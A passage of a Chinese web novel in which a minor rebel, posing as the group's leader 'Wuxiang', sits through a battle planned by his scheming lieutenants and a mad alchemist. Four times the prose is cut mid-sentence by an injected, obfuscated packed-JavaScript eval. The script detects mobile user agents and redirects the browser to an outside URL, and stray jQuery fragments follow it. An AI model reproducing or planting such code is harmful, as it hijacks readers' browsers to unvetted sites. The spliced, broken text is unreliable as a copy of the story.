第二天,晨光熹微,一个身披黑袍、宛如翻涌的乌云一般的男人,来到了加卡托兰的大本营。
“无相大人。”守卫们、士兵们、中层们这样呼唤他。
被恭敬称呼的男人没有回头,也没有应答,大步来到了当初讨论计划的会议室。
会议室的门虚掩着,他到来时,恰好一阵风吹来,吱呀一声,那扇门缓缓打开。
灯火通明的室内,宛如凝郁的氛围中,坐姿各异的三人抬起头,见到了来势汹汹的首领。
某种无形的压迫,似乎在黑袍男人的沉默中诞生。
“无相大人,您来了。”
颜诡放下手中的资料,先起身,恭敬唤了一句,行为挑不出一丝错,打破了那种古怪的氛围。
他的黑眼圈消退不少,但眉宇间依旧带着浅淡的疲倦。
“没想到无相大人这回来得这么早。”这是摩菲·戈尔德轻佻的口吻,尾音在“早”字上拖长,似乎带了点别的意味。
他松松垮垮站起,随后又好似不经意地提了一句,“最近不像无相大人的事,还真多啊。”
乌镶月不动声色望向第三个人。这里威胁最大的根本不是摩菲·戈尔德的口头试
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845870|175778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
探,而可能是另一个人。
紫发青金色眼睛,一副温和平静好说话样的年轻男人,加卡托兰里赫赫有名的疯子炼金术师。
对方似乎更慢一拍,看两位同僚都起来,才站起来,张了张口,“无……”
“你们的计划是怎么回事!”
乌镶月跨入会议室,快速打断他,以防对方说出什么惊世骇俗的话。他不知道季星·戴纳的怀疑打消没有,要不是事出突然,他根本不想和这人碰面。
“计划?”
作为计划主要负责人,颜诡瞥向桌上的文件,坦荡回视,“哪里出了差错吗?无相大人。”
一听是差错,其他两人的目光也好奇起来,摩菲·戈尔德更是不怀好意地刺了一句,“不会是又要返工吧?那可得再辛苦颜诡大人了。”
颜诡眉头都拧起来了,居然没有反驳。
乌镶月不明白他们阳奉阴违被抓住了,为什么这么平静。
难道是他误会了?还是有什么他不知道的因素?也对,好歹是七星,怎么会使用已经被敌方探子知道的计划。
“这取决于你们实施的是哪一版计划。”他压下情绪,换了种说法。
七星三人互相对视一眼。季星·戴纳一脸状况外,似乎不在意。颜诡眉头皱得更紧了。
摩菲·戈尔德挑了挑眉,“自然是您选择的那个。”
真是误会?下面那些人不小心听到废案了吧。
他松了口气,确定了自己不会被当做用来挥霍的炮灰,就打算走了。
昨天他胆战心惊了一晚上,还是没法说服自己就这么等死,现在问题解决,此地不可久留,七星中三人都在,万一串通起来找他麻烦,可不好应付。
在颜诡等人眼中,黑袍男人听了答案,不知是对此感到满意,还是根本不想多说,身形微转,袍角扬起,似是如时那般,要匆匆离开了。
“无相大人,您不留下来,看护战局吗?”
出乎意料,在角落里全程除了最开始的招呼外,一声不发的季星·戴纳开口了。
有什么好看的,反正你们都在,还能出什么岔子,他还赶着回去参加集合呢。乌镶月满不在乎想着,打算随便给个理由糊弄过去。
“我……”
“如果您不在,您之前选定的计划或许会出变动,我们就只能先使用最开始的那个了。”
宛如平地惊雷,乌镶月一瞬间脑子都糊住了。最开始的那个?诱敌计划?可……
“那计划已经被敌人知晓。”他干涩地吐出一句话。
“是的,但敌方不能确定我们发现了。”回答的是颜诡。
金发狐狸眼青年说:“因此,仍然有将计就计的价值。”
将计就计?是他所想的那个将计就计吗?所以还会派出先遣队当诱饵,后续再做变动?
乌镶月看向加卡托兰翻手为云覆手为雨的三位七星。
偌大的会议室内,灯光如炬,众人的神色清晰可辨,颜诡、摩菲·戈尔德,季星·戴纳,没有一个人露出质疑的表情,没人认为有问题,没人提出需要修改。
好像试图改变的他,才是不正常的那个。
这很正常。
乌镶月对自己说,因为无相大人不看护战场,为了防止出现变故,他们自然会选择更好控制的计划。
他听说过的,上位者总是需要顾全大局,牺牲小我,换取更大的利益与机会。
这没什么奇怪的,只是做出了恰当的选择。
“好。”种种思虑从脑中闪过,他听见自己从嗓子里挤出的声音,“我留下。”
所以他也做出了选择。
11.第 11 章
牺牲一些没用的人,换取更有用的价值。
倘若他不在被牺牲的范围内,大概也不会在乎。
可是作为加卡托兰底层成员的乌镶月,不能不在乎。
今天是计划实施的日子,原本他应该在底层人员集合场地,随其他人一起听战前动员,领取武器和防护道具,再由小队长下发任务,领着他们完成。
忙忙碌碌,如同听从指挥的蚁群。
现在不一样了。他作为顶头的BOSS,不需要混迹在熙熙攘攘的人群里,听那些激情满满的宣誓,也不用一步一步辛辛苦苦走到圈定的战场范围,而是可以坐在单独的马车里,一路舒适地到达战场重心。
据说这马车是结合了炼金术的新型号,装饰低调不失精美,跑起来又轻又快,没有颠簸感,防护性能很强,内部甚至可以隔音。
往常出现在底层成员茶余饭后,梦想着未来能买一辆的高级马车,乌镶月提前了三十年,靠着假身份坐上了。
这何尝不是一种不走弯路?
但他一点也不开心。
这和他翘了集合,会被当做逃兵,不仅领不到自己那部分工资,还可能会被处罚无关……不对,有关系啊!
乌镶月恍然大悟。
可恶,刚刚形势紧张,回答的时间太短,为了保全自己,不当炮灰,就答应留下了。
现在想一想,他翘了这次战斗,事后免不了一顿训,还会被扣工资!上战场的工资是平时的三倍呢!三倍!
一想到这点,他整个人都有些不好了。无数长了翅膀的面包和甜品,好似在眼前挥泪飞过。
不行,就算打算在战场上当个吉祥物,也要想办法拿到报酬。
谁说吉祥物就不需要工资了!作为无相大人,出场肯定是有出场费的!
对前路的忧愁,完全被对工资的耿耿于怀占据,以至于乌镶月一下马车,站在选定的指挥所,出口的一句话就是,“我的钱呢?”
刚下另一辆马车的颜诡脚下一滑:“!”
左脚拌右脚差点平地摔的摩菲·戈尔德:“?”
一脸平静跟在后方的季星戴纳:“啊。”
什么情况?三人同时懵了一下。
颜诡缓过劲来,瞅瞅黑袍男人,“无相大人,好端端的,怎么提起钱的话题了。您的钱,不是归劳·蜜尔娜大人管理吗?”
劳·蜜尔娜,另一位在加卡托兰大名鼎鼎的七星,掌管整个组织的财政,经常全世界跑的大商人,其商业才能强到帝国都不敢对其下狠手,一直试图招揽。传说她是沐浴黄金、脚踩珍珠、身缠宝纱,在无穷无尽的奢华中养出的美人。
乌镶月听说过劳·蜜尔娜,但那和现在的他没有关系。那钱拿不拿得到都是问题,如今是他被迫出场,拿不到报酬怎么弥补他的损失!
黑袍男人低声道:“计划失误是你们泄露的消息,需要在这次战局挽回颜面,向我证明自身能力的,是你们。”
这一句话听得颜诡和摩菲·戈尔德多少有点不自在。他们俩一个管各项计划实施,一个管情报,都脱不了关系。
颜诡想要表明决心:“抱歉,无相大人,这次……”我一定竭尽全力。
“所以这次我来帮你们,是额外的价格。”
欸……?
颜诡表情空白了一阵,声音戛然而止。
摩菲·戈尔德猛地爆发出激励的呛咳声,一边咳,一边想笑,眼泪和笑容一起挤在脸上,扭曲得跟恶鬼似的。
季星·戴纳呆了一会,忽然从口袋里掏出了一瓶黑乎乎的药剂,找了块石头就往上倒,一阵一阵的烟雾中,能隐约听见他的呢喃,“点石成金、点石成金……”
传令兵一来,就见到了这副好似群魔乱舞的场景。
这是……疯了?
阴险的帝国军,居然战前对大人们下降头!
在传令兵精神进一步受到刺激前,乌镶月发现了他,“什么事?”
传令兵一激灵,优秀的素质让他假装刚刚什么都没看见,大声道:“报告!前锋部队已经到达主战场!听候指示!”
大概对方的声音实在够刻意,就差把自己什么也没看见写在脸上,颜诡也咳了一声,恢复了正常:“好,接下来按计划,等物资到位,就开始行动。”
“明白!”
传令兵离开了,接下来会不会流传出一些奇怪传言先不说,指挥所内的气氛好像回到了该有的严肃。
“无相大人。”颜诡瞥向黑袍男人,似乎斟酌着用词,说话慢条斯理,“如您所说,这次如果没有您的帮助,我等将无力回天。您的辛苦,自然不会被白费,这次的酬劳,一定不会让你失望。”
牛皮!乌镶月在心里给他赞了一声,看看这口才,这轻轻捧一把上司,还顺着毛撸的用词,不愧是心眼子多的狗头军师!
但这份用词显然会衬托得另一个人很木讷。
红发绿眼的青年毫不掩饰地“啧”了一声,眼睛斜斜看向颜诡,“哟,不愧是谋略家,说话一套一套的,哎呀,我这种看看没用情报的人,果真拍马不及。”
说完他又把矛头对着乌镶月,“无相大人最近又在做什么?为什么忽然一副缺钱的样子,难不成又有什么大动作,却不愿意和忠心耿耿赚钱养家的下属说?”
乌镶月自从认识摩菲·戈尔德,就一直奇怪,像这样谁都敢招惹的家伙,到底是怎么坐到加卡托兰第一情报专家的位置上的。难不成之前的那些都被他气死了?
“是吗?我以为,你会是最清楚的人。”他不冷不热刺回去一句。
在马车上的时候,他就想过了,开战在即,这些人不可能临时怀疑他的身份。就算怀疑,也不敢说,否则得知无相大人是假的,先不说他们心情如何,下面的人一定会乱起来。所以他才敢提钱的话题,也敢直接反驳。
果然,摩菲·戈尔德被这么一说,脸色沉了沉,却没有像之前一样,挑起怀疑的话题。
“那个……”
在这个话题即将告一段落,在旁边用完了药水也没能鼓捣出点石成金的某位炼金术师开口了。
“如果无相大人需要的话,我的炼金药剂其实可以……”
紫发青金眼的男人笑了笑,似乎略带羞涩,眼睫垂下,手指也蜷了起来。
场面静了一瞬。
下一刻,乌镶月、颜诡、摩菲·戈尔德不约而同,做出了行动——头也不回,绕过炼金术师,踏入了指挥所。
“……”季星·戴纳一贯温和的笑脸好像有一瞬间崩裂了。
随后他闭了闭眼,像什么都没有提过一样,也进了指挥所。
指挥所有一张
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15858303|175778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大桌子,几把椅子,几盏灯,还有防身用的武器和几瓶不知道做什么用的炼金药剂。简陋但方便,没人对此有意见。
桌子上摆了一座沙盘,是照着战场周围的环境模拟的。乌镶月坐在上首,颜诡和摩菲·戈尔德分坐左右,他们对着这个沙盘讨论。
准确来说,是颜诡和摩菲·戈尔德在争吵中确定实施的细节。
两人实在吵不出来结果,或者双方各有道理,才会询问一声不吭的无相大人。
“无相大人,这处的部队只需要三个小分队的人就足够,如果过于集中,其他薄弱处说不定会成为突破口,您不这么认为吗?”
“三个分队?好呀,你把人放那,看看这么小的地方,这三个队的人还能不能行动?这种烂得出奇的计划,你还好意思给无相大人看?”
乌镶月感觉自己像那种被两边拉扯的绳子,双方都不服气,越拉越紧。关键他一听,感觉都有道理,怎么敢随意指?万一出差错,他们不给钱了怎么办?
乌镶月太阳穴突突疼,正好瞧见在一旁发呆,完全不参与讨论的某位炼金术师,当即决定甩锅。
“季星·戴纳,你觉得呢?”
季星·戴纳眨眨眼,凑过来扫了一眼沙盘,又露出那个温和又带点羞涩的笑。
他轻声细语:“我吗?干脆扔炼金炸弹,全炸死不就好了吗?”
全炸死不就好了吗、不就好了吗、好了吗……轻快的尾音充斥了整个指挥所。
乌镶月:“……”我在期待什么?
颜诡:“……”
摩菲·戈尔德:“……”
“其实也不是不可以换种策略。”颜诡若无其事再次开口。
“你说得对。”摩菲·戈尔德没有意见,甚至主动帮忙修补了问题。
短时间内,两人忽然和和睦睦开展了讨论,也不扯着无相大人做决断了。
乌镶月瞧着默默坐回去的季星·戴纳,又看向讨论得热火朝天的两人,感觉这三人某种意义上熟练得很。比如在对待某位炼金术师的时候。
这就是传说中的疯子炼金术师吗?威力恐怖如斯。
不过这下他真的清闲了,只需要听听部署情况,不用在不懂的地方乱插嘴。
这次的计划里包括好几个部分。
计划的准备工作,前两天简单做过一些,比如挖掘陷阱,设置陷阱,清除障碍。现在主要是发放物资和排兵布阵等。
乌镶月不知道原来的无相大人每次战前是如何做的,如今他一言不发,什么建议也不给,也没人提出异议。
好像理所当然如此。
无论如何,他听着颜诡和摩菲·戈尔德对战场的编排布置,听着偶尔季星·戴纳试图插嘴又被两人联合驳回,心情奇异地平静下来了。
准备得这么充分,这次战役应该不会输了。
经过一天的修整,第二天夜色将褪的时刻,加卡托兰的部队行动起来。
灰白的雾气从炼金装置中升起,宛如自然产生的晨雾,无声无息,很快弥漫了这片区域。
侦查兵从远处眺望,又俯身感受地面的震动,发出了信号。
在所有人的屏息等待中。
马蹄声成片,碎石被震起,鸟雀惊飞,金色飞鸟的旗帜摇晃在风里。
——帝国军来了。
12.第 12 章
“雾?”
帝国这次派了两万人来攻打马挪河城。据说加卡托兰在这座边境小城的人数,最多一万多。人数压制下,他们占据优势。先行队伍远远察觉到这片雾气,就将情况汇报给这支军队的将军——庞吏。
庞吏今年四十九,当了十年小兵,五年伍长,三年副将,这次是他第一次作为将军,领导整支队伍。新官上任三把火,他这次领下的任务,是要给予加卡托兰这个反叛组织重创。
但他并不满足于此。在得知加卡托兰所谓的诱敌计划的前提下,他将两万人兵分三路,自己领了五千人出发,其中包括了三千骑兵,就是为了打对手一个出其不意。
“马挪河城靠北,气候较冷,春季清晨有雾不奇怪。但浓雾不常见,这样伸手不见五指的程度,对作战双方来说都是不利因素。”
他短暂思考后,下了命令,“检查一下雾气是否有毒或者别的问题。”
随行的炼金术师很快给出结论:“没有毒,只是比较浓的雾气。”
“以防万一,全部服下解毒剂。即使没有毒,也可能是为了拖延我们的速度,亦或者设埋伏。派一支小分队先行前进,另派两组侦察兵探查周围,谨慎行事!”
“是!”
帝国军得了命令,分出一支骑兵小队。速度不快,保持着合适的间距,在雾气中行进。两组侦察兵分散开来,小心探查。
白雾阻挡视线,加卡托兰方的小分队们也借此开始了行动。他们没有靠近帝国军,反而拉开距离。
乌镶月站在高处,将战场情况尽收眼底。
昨夜颜诡和摩菲·戈尔德去了另外两处支路,说这里既然有无相大人坐镇,他们就可以安心去别的地方了。还不由分说将季星·戴纳留了下来。
乌镶月很想拒绝,但仔细一想,要是真出什么问题了,他身边有个炼金术师在,还能挡一挡,也就默许了。
此刻季星·戴纳不在他旁边,据说是去准备后面的惊喜,不知道跑哪去了。
这里只有他一个人,不用时时刻刻端着无相大人的架子,他却放松不下来。颜诡和摩菲·戈尔德都不在这里,战场上如果出了什么岔子,负责下令的就是他了。
乌镶月拒绝想象那个场景,他怕自己会当场做出逃跑的行动。
好在目前情况还不复杂,计划似乎顺利推进。
帝国军的那支先遣队安全离开了雾气笼罩范围,侦察兵发现了若干陷阱的痕迹,将其汇报。
“果然是为了拖延时间。”庞吏冷笑一声,愈发肯定这战的关键在时间,“这点伎俩,还想拦住帝国军。”
他下令:“毁掉陷阱,一个不留!”
十几个人从队伍中出列,分散四周,短短半小时就将周边的陷阱排查干净。
“故弄玄虚。”
这下前路没有阻碍,庞吏勒紧马绳,目光如炬,似乎穿过这片山丘,望见了那座脆弱不堪只待他夺取的边境小城。
他比了个手势,“变换阵型,继续前进!”
身穿蓝色军服的帝国军队从灰白的雾气中奔涌而出,像是一条势不可挡的河流,携着兴奋的杀意与侵吞的渴望,一往无前。
冲在最前方的士兵被这股气势裹挟,好似满腔热血都往头上涌。
下一秒,他突然脚下一软,眼前的地上红光乍现。他心头突突直跳,却发不出声音,来不及了。
“轰隆——!”
这条河流被拦腰斩断,人和马宛如烧红铁锅上的油水,飞溅着倒向了两边。
埋伏的加卡托兰成员忽然冒了出来。箭矢如雨落下,笼罩住阵型破碎的帝国军,一片蓝色如伏倒的稻草,纷纷倒下。
帝国军陷入了不利形式。
乌镶月让自己忽略哀嚎的惨状,心头攥紧的那口气,稍微松了些。
颜诡的计策是有用的。他算准了帝国军队一方的心理,明白他们一旦排查了周围的陷阱,也排除了雾气的效果,就不一定会二次检查陷阱之下的情况。
实际上他设置了两层陷阱。一层是专门给帝国军看的,他们一旦破除这层,就会启动第二层陷阱。
帝国军以为万无一失,继续前进的时候,第二层陷阱就会发动,打他们一个措手不及。
这看似奇策的计谋,建立在季星·戴纳首屈一指的炼金术上。如果没有他,想要设置这样的陷阱非常难。
幸好,幸好。
但乌镶月想起那个略感诡异的家伙,也说不清自己庆幸的是什么了。
战局仍在变化。
第一轮攻击过后,帝国军虽然被冲乱了阵型,但领兵的将军似乎经验不少,几道指令就重整旗鼓。散乱的队伍三三两两合拢,重新又建立起了防线。他们不敢再停留,一鼓作气,尽数通过了这片看似诡异的雾气。
同时,火铳开始发挥作用。白日也闪烁的光芒,萦绕鼻尖的硝烟味,和双方不断倒下的身影,代表战斗进入另一个节奏。
喊杀喊打的混战中,一颗碎裂的子弹划过脚下,再偏移一寸就能中正脚踝。
乌镶月心脏怦怦直跳,全身僵硬,用尽了遏制力才没有当场腿软。
他颤抖着躲到了一块高大的石块后,甚至一时不敢探头去看了。
他第一次参加这样阵仗的战斗,跟不知道原来陷入战斗后居然会乱成这样,万一不小心打中他,眼睛一闭,就死了啊!
怎么办,下一步,下一步是什么来着,不会要输了吧?
惴惴不安思考的时候,仿佛印证他的想法,加卡托兰的战线被强烈的攻势打得后退,有了溃败的趋势。
乌镶月只瞥了一眼,就明白这绝不是好的局面。他们一方的战力不够!
不行,这样下去不行,他眼珠子四处转,飞快思考逃跑的路径,怎么才能从战场上全身而退。现在估计赢不了,但他还不想死,不死估计也得残,绝对不行!
左边,从这里的山坡下去,还有机会!他瞅准了时机,朝着那个方向开跑。
“无相大人,您要去哪里?”
一个紫发青金眼眸的男人忽然出现,幽幽出声,吓得乌镶月差点跳起来。
他绷紧身体,站定当场,好似自己没有过逃跑的念头。
“你,你怎么在这。”说话却还是不可控地磕巴了一下。
“我吗?”季星·戴纳晃晃头,好像没有在意他的异常,似是思考,又捻了捻指尖。
乌镶月这才注意到,对方一贯洁白的手套上此刻斑驳异常,不知道沾染了什么奇怪的材料,简直像是刚从实验室出来,可这里哪里来的实验室,这里可是……
“啊——!”
凄惨的尖叫声刺破了战场,赤红的火光从蓝色军服的一角开始蔓延,很快烧了一片,宛如一场吞没海水的赤潮,眨眼间,帝国军队停滞当场,乱做一团。
形势逆转,加卡托兰的人又开始乘胜追击。
乌镶月目瞪口呆,看着那些凭空燃烧起来的帝国军,惊愕得发不出声。
他想起来了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874751|175778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,计划里这一环要造成帝国军混乱,但具体实施交给季星·戴纳了。可他究竟是怎么做到的,明明其他人都没有碰到那些帝国军,难道是之前的陷阱,还是……
“是雾气的作用哦。”
如同看穿了他的疑惑,炼金术师带着欣喜与炫耀的声音响起,“穿过雾气的人,身上会携带水珠的呀。这可是利用炼金术的好底子。”
水珠?不起眼的,一般人都不会在意的小水珠?!
乌镶月深呼吸了口气,悄悄挪得离这人远了些。
……他不太懂什么叫好底子,但深切明白了所谓疯狂炼金术师,到底是何种危险物了。
现在形式利于我方,不用担心小命了。
乌镶月望向已经成了一片火海的战场。估计是事前有准备,加卡托兰的人没有一个着火。相反,帝国军的人身上火光闪烁,被烧得四处奔逃,痛呼声不绝于耳。
人类与野兽一样,本能畏惧灼热的火光,即使他们已经学会了使用火的办法,这份畏惧还是印刻在灵魂里。
庞吏在战场上生生死死都经历过许多回,即使遇见了真正的火烧眉毛,也强行压制着那份惊恐,在灼热的刺痛中,冷静观察了一圈,很快察觉到了关键:“把外头的衣服都脱下来!沾水的衣服是源头!”
不少仍有理智的帝国军立刻行动,火光闪烁几下,果然消失了。
“嗯?”远远观望的季星·戴纳摸着下巴,“这么快就发现了。看来这个办法还有改进的余地,下次不能以那个材料为基底,得换……”
在他嘟嘟囔囔的时候,乌镶月的心情却逐渐糟糕了下去。
帝国军找到起火源头后,居然借用这些衣服,反攻加卡托兰成员。加卡托兰的人可不是专业的军人,大多没有意志力可言,即使知道甩开衣服就能避开,也没有心理素质马上做到,犹豫之间,就被回神的帝国军干掉了。
刷拉拉,炮火下爆开了血色的雨,倒下了一片黑衣的加卡托兰成员。
短时间内,形式再次倒向了极端不利。
乌镶月强撑着看完这一幕,他记得接下来还有一次攻击,只要发动攻击,一定能够逆转形势,一定还有救!
“这下不妙了啊。”季星·戴纳却忽然出声。
“什么?”他这时敏感至极,猛地转头看向紫发男人,发现对方居然一脸苦恼,更为光火,“你什么意思?”
“嗯?无相大人不是看出来了吗?”对方仿若理所当然地回答,“接下来要输了啊。”
要输了?!怎么会!
“最后一次总攻……”
“这个时候了,发动总攻吗?”炼金术师歪歪头,看向近乎一面倒的战场,“倒也不是不可以,但,这样活着回去的人大概一只手都数得过来了,颜诡和摩菲说不定会生气,啊,不过是无相大人的命令,应该没有问题吧。”
他的喃喃自语,在乌镶月耳朵里却宛如惊雷。
如果发动攻击就只剩几个人能活了?那、那现在该怎么办!
“现在该怎么办呢?”
他差点以为自己真的把这话说出来了,但那声音冷淡又带了些许好奇,不是出自他的嘴中。
而是来自旁边那个从始至终都显得从容的炼金术师。
“无相大人,请您下决断吧。”
那双青金色的眼瞳里,倒映出一个黑袍男人的模样。对方这样看向他,将执掌战局的权柄抛了过来。
乌镶月顿时如同被定住,一动都动不了。
13.第 13 章
该怎么办?怎么办?怎么办!
循环的问题在脑中播放,好像一瞬间住了无数个闹钟,吵得乌镶月恨不得把脑子挖出来。
季星·戴纳站在他面前,还在等待着他的答案。
不远处的战场上,加卡托兰的人节节败退,哀嚎遍地。再过不久,或许连这哀嚎也成了稀罕物。
黑袍阻挡不了的血腥气一股股涌入鼻腔,残酷的血色在大地上蔓延,天上铅灰色的乌云层层叠叠,似有风雨将起。
乌镶月似乎在这世界之中,又在这世界之外,他能听见自己沉重的呼吸,能听见身体轻微的颤抖,能听见脚下石砾的晃动。
恐惧包裹着他,怯懦冲他耳语,逃避诱惑着他。
他几乎是下意识就发挥了本能,想起了那张指挥所里的沙盘,交战的双方在那张微缩地图上显现,绕过这些危险与争斗,一条绝对安全可以确保撤退的路线,仿佛被标红般亮眼。
这是他这么多年来磨砺得最为娴熟的技艺,仅此于时刻不离的刀刃。
刀刃是为了自保,逃离则是为了自保。自保,活下去,这是最优先的选择,这比什么都重要。
此时此刻,那一盏天平又倒向了熟悉的方向。
“无相大人,您会逃走吗?”
打破平衡的,是一句轻飘飘的询问。
比羽毛更轻,比云朵更柔,比风更缓,只是这样一句话,却叫乌镶月一瞬间头脑空白。
“你……”他干涩地想问这个人,是不是已经察觉到了他的真实身份,不然怎么会问这个问题。
季星·戴纳却一副平淡的表情,“您果然有这个意图。现在的情况,继续硬打不是好主意。我们仍有守城的一战需要打,帝国军一定明白这一点。如果逃跑,他们不会赶尽杀绝。”
不会赶尽杀绝,不代表不会损失惨重。
乌镶月以为无相不可能会同意撤退或逃跑的主意。在所有人的赞颂中、传闻里、故事中,无相大人都是绝不后退、绝无失败的那个人。
可季星·戴纳的语气平常到,好像撤退本就是无相会做的选择。
他不知道这是不是新一轮试探,时间不允许他做出过多猜测,更不可能验证。
“……往东南的平原跑。”
干涩的嗓子里,挤出破风箱一样的声音。
“什么?”季星·戴纳似乎没有听清,又问了一遍。
“我说,往东南的平原方向撤退!”乌镶月几乎一字一句从牙缝蹦出,他知道自己这个命令有多奇怪,毫无理由,毫无解释,专断独行地下达了要求。
出乎意料的,季星·戴纳并无异议,点点头,从长袍中掏出一个圆球,猛地往天上一抛。
圆球炸开,升腾起蓝紫色的烟雾,即使在白日也足以看得清楚。
幸存的加卡托兰成员纷纷抬头,望见那点蓝紫色的烟雾,当即放弃缠斗,快速朝东南方向逃去。
战线开始变化,帝国军察觉到了加卡托兰这方的退意,有人向将军提问,“将军,我们……”
“追!”庞吏恼火得很,这次差点中了加卡托兰的计,五千人死了近两千,如果不能这个时候扳回一城,全歼敌方,他当主帅的面子往哪里搁!
帝国军不退反进,缀在且战且退的加卡托兰军身后,炮火连绵,不绝于耳。
乌镶月没有看见这一幕,在季星·戴纳传达完指令后,他已经朝着脑中规划出的逃跑路线,一路疾驰。
季星·戴纳跟着他身后,没有半分危机感,“无相大人,您为什么要往另一个方向跑?不是说去东南方吗?”
东南方的平原,地势开阔,逃跑空间大,在大部队逃跑的时候,能分散开来,避免踩踏,不被一网打尽。运气好的话,还能减少被敌军黏住的风险,在安全地点重整部队。
这是他在昨日通过颜诡和摩菲·戈尔德的争吵中学习到的。
但这不是万能的解。平原不仅利于撤退,也利于骑兵。加卡托兰的骑兵数量,远远少于帝国军。即使在刚刚的战斗中,帝国军消耗了不少骑兵,也仍有近千留存。也就是说,帝国军一定会追上撤退的部队。
被追上的人结局可想而知。
乌镶月一开始就明白,这是以一部分人的死亡交换另一部分人存活的方向。
另一部分人里,包括他。
敌军追逐逃窜的加卡托兰成员,没有时间彻查另一条道路,就不会发现他。
黑袍男人没有回答季星戴纳的问题,只沉默着,攀上了一座山坡,随后片刻不停继续前进。
他不是个什么好人,不会神鬼妙计,也没有领袖气概。
乌镶月是个小到不会被人注意的反派,他的愿望,是活下去。
即便这条路,要其他人为他铺就。
“无相大人。您最近的行动越来越奇怪了。”
季星·戴纳似乎没有察觉身边人缄默的心情,自顾自开口,“您难道是乱吃了我之外的人炼制的炼金药剂,吃坏脑子了?”
乌镶月压根不搭理他,生死关头,怀疑什么的都算个屁。
他踩上凸起的岩块,身手灵活,三两下就爬上矮坡,将常年闷在实验室身体素质一般的炼金术师甩在了身后。
“无相大人?”季星·戴纳一边爬,一边抱怨,“您该不会是故意的吧?”
乌镶月确实想把他甩开。
见黑袍男人还是不回答,炼金术师叹了口气,拿了瓶药水往地上倒,不知道做了什么,地上冒出一堆堆的晶块,他踩着这些晶块一会就追了过来。
哼,有炼金道具了不起啊。乌镶月多看了两眼那个被收回的瓶子,转头就想走。
“呀,这里能看见大家啊。”季星·戴纳忽然感慨了一句,“虽然大家的速度很快了,但是……还是不够啊。”
乌镶月不知道自己怎么想的,明明他清楚会发生什么,会见到什么样的场景。
可那一刻,他鬼使神差地停下,望向了东南方向的平原。
冒出浅浅青茬的平原上,一身黑衣的加卡托兰成员在尽力狂奔。距离太远,看不清表情,可看见后方穷追不舍的蓝衣士兵,他的耳边似乎就同步响起了炽热得几乎跳出胸膛的鼓噪声。
擦过耳畔、手肘的子弹,一步也不能退的紧绷感,酸软到几乎没有直觉的腿脚。痛苦、焦躁、期盼、畏惧,种种复杂的情绪都被强烈的求生欲望盖过。
要活下去,要活下去,要活下去!
于是他们一步也不敢停,同伴倒下,对手倒下,最后会是谁?
他们不敢想,不能想。思考都是逃亡的奢侈品,逼出身体的最后一丝潜能前,都没有这样的余裕。
乌镶月不知道那一刻,在心底升起的情绪到底是什么。
后悔吗?悲伤吗?还是一点兔死狐悲的虚伪?
他说不清,也不想辨清。
当讨厌的炼金术师忽然问他,“您在等什么?”这个莫名其妙的问题时。
他正看见一个加卡托兰成员。那人好不容易越过大半草原,脚底磨出血,嘴唇干裂,呼吸沉重到走路都不稳,仍没有甩开后面的追逐者。而对方抬起了枪口,远远对准了他精神松弛、身体乏力的这一刻。
于是,那句话如同从海底上升的泡泡,浮在了嘴边。
“奇迹,我在等……奇迹。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885160|175778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“奇迹?”季星·戴纳满眼惊奇,上下打量他一圈,“这可不像是您会……”
轰隆隆——!
极快又极为可怕的一瞬间,阴沉许久的天空下没有亮起闪电,却仿若有无形之锤击中地面。
刹那地动山摇,一道巨大的裂口撕裂平原,张开了漆黑的吐息。
步兵枪兵跑得慢的,还能勉强脱身。快一点的,比如骑兵,几乎连求救声都发不出,连人带马全掉了下去。
惊叫声短暂响起,又沉寂,摇晃的地面仿佛随时崩裂,让人连脚下都不敢相信。
石块碎屑纷纷扬扬,随着他们坠落于死亡。
所有看见这一幕的人,后背都惊出了一层冷汗。不少人两股战战,当场软倒。更有甚者,□□都湿了。
差一点,就差一点!他们就死了!
他们没有被陷阱打倒,没有被敌人打倒,却差点被这样无可预测的天灾扼杀于转瞬。
在这片本该你死我活的战场上,惊惧与沉默占据了主场。在突如其来的灾难面前,人类无法互相残杀。
直到有人发现,“我们的人……几乎没事?!”
